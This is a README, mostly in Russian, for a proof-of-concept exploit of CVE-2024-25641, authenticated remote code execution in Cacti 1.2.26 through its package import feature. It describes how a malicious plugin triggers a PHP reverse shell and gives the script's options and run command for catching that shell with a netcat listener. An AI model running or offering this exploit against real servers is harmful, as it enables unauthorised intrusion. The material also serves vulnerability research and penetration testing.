d3ext/cve-2024-25641Доказательство концепции эксплуатации для CVE-2024-25641 — аутентифицированное удалённое выполнение кода (RCE) в Cacti 1.2.26 через функцию импорта пакетов, позволяющее выполнение произвольного PHP-кода и получение обратной оболочки (reverse shell).
# Exploit Title: Cacti 1.2.26 - RCE (Authenticated)
# Date: 06/01/2025
# Exploit Author: D3Ext
# Vendor Homepage: https://cacti.net/
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
# Version: 1.2.26
# Tested on: Kali Linux 2024
# CVE: CVE-2024-25641
Этот репозиторий содержит POC (Proof of Concept) уязвимости CVE-2024-25641, которая затрагивает версию Cacti 1.2.26. Данная уязвимость эксплуатируется через функцию "Package Import" (Импорт пакетов) и позволяет аутентифицированным пользователям, имеющим разрешение "Import Templates" (Импорт шаблонов), выполнять произвольный PHP-код на веб-сервере. Уязвимость находится в функции import_package(), определённой в скрипте /lib/import.php. Этот эксплойт использует PHP reverse shell, который активируется после загрузки вредоносного плагина.
usage: exploit.py [-h] --url URL --user USER --password PASSWORD --lhost LHOST --lport LPORT [--verbose]
CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE
options:
-h, --help show this help message and exit
--url URL URL of the Cacti web root
--user USER username to log in
--password PASSWORD password of the username
--lhost LHOST local host to receive the reverse shell
--lport LPORT local port to receive the reverse shell
--verbose enable verbose
Запустите netcat listener, а затем выполните эксплойт следующим образом:
python3 exploit.py --url <URL> --user <username> --password <password> --lhost <local_host> --lport <local_port>
https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88
https://nvd.nist.gov/vuln/detail/CVE-2024-25641
https://vuldb.com/?id.263978
https://github.com/5ma1l/CVE-2024-25641
https://github.com/Safarchand/CVE-2024-25641
Этот проект распространяется под лицензией MIT
Copyright © 2025, D3Ext